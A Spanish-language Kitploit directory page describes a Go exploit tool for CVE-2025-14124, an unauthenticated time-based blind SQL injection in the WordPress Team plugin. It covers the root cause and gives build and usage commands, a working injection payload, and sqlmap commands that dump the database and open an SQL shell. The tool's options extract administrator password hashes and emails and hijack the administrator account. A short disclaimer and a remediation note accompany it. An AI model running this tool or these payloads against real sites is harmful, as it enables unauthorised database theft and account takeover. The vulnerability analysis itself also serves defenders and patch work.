Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-14124 — Inyección SQL no autenticada (Ciega basada en tiempo) | Kitploit
Herramientas/GitHubGitHub/hyunchiya/cve-2025-14124
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

Inyección SQL no autenticada (Ciega basada en tiempo)

Ver Repositorio
hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-14124

WordPress Team Plugin - Inyección SQL no autenticada

Autor: Hyun Chiya


Información de la vulnerabilidad

CampoValor
CVE IDCVE-2025-14124
PluginWordPress Team Plugin
Versiones afectadas< 5.0.11
Tipo de vulnerabilidadInyección SQL no autenticada (ciega basada en tiempo)
GravedadAlta

Descripción

El plugin WordPress Team no sanea ni escapa adecuadamente el parámetro search antes de usarlo en una sentencia SQL a través de una acción AJAX disponible para usuarios no autenticados, lo que provoca una inyección SQL.

Análisis de la causa raíz

El código vulnerable se encuentra en app/Controllers/Frontend/Ajax/LoadMore.php:

root@kitploit:~
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Problema: $wpdb->esc_like() solo escapa comodines de LIKE, NO los metacaracteres de inyección SQL.

Flujo de explotación

root@kitploit:~
flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Requisitos previos

  1. El objetivo tiene instalado el plugin WordPress Team (< 5.0.11)
  2. Debe existir una página con el shortcode [tlpteam]
  3. Al menos un miembro del equipo creado en el plugin

Compilación

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

Uso

Detección automática de la página del equipo

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

Especificar la URL de la página del equipo

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Comprobar solo el plugin

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

Retardo SLEEP personalizado

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

Opciones

Modo de extracción de datos (--dump)

Al usar --dump, la herramienta extraerá:

  • Versión de la base de datos
  • Nombre de la base de datos actual
  • Usuario de la base de datos
  • Prefijo de tablas de WordPress
  • Nombre de usuario administrador
  • Hash de la contraseña del administrador
  • Correo electrónico del administrador

Nota: La extracción de datos es lenta debido a la naturaleza de la inyección SQL ciega basada en tiempo (~5-15 minutos para la extracción completa).

Modo de secuestro de administrador (--create-admin)

Intenta cambiar la contraseña de un administrador existente mediante una actualización SQL (UPDATE).

⚠️ Importante: Este modo requiere soporte de consultas apiladas (stacked queries), que normalmente está deshabilitado en PHP+MySQL. Si no se admiten consultas apiladas, use --dump para extraer las credenciales en su lugar, o use sqlmap --sql-shell para la ejecución directa del UPDATE.

Ejemplo de salida

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

Uso con SQLMap

Para una explotación avanzada, puede usar sqlmap después de confirmar la vulnerabilidad:

root@kitploit:~
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Remediación

⚠️ IMPORTANTE: Actualice el plugin WordPress Team a la versión 5.0.11 o posterior, donde la vulnerabilidad ha sido corregida con un escape SQL adecuado mediante $wpdb->prepare().

Referencias

  • Base de datos de vulnerabilidades de WPScan

Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Úsela con responsabilidad.

Autor

Hyun Chiya

Descargar herramienta
ArgumentoDescripción
-uURL de WordPress objetivo (obligatorio)
--page-urlURL de la página que contiene el shortcode tlpteam
--delaySegundos de SLEEP para la detección (por defecto: 1)
--dumpExtrae información de la base de datos y credenciales de administrador de WordPress
--create-adminIntenta secuestrar la cuenta de administrador (requiere consultas apiladas)
--admin-userNombre de usuario para el secuestro de administrador (por defecto: pwned_admin)
--admin-passContraseña para el secuestro de administrador (por defecto: Pwned123!)
--check-onlySolo comprueba si el plugin está activo
--timeoutTiempo de espera de la solicitud en segundos (por defecto: 120)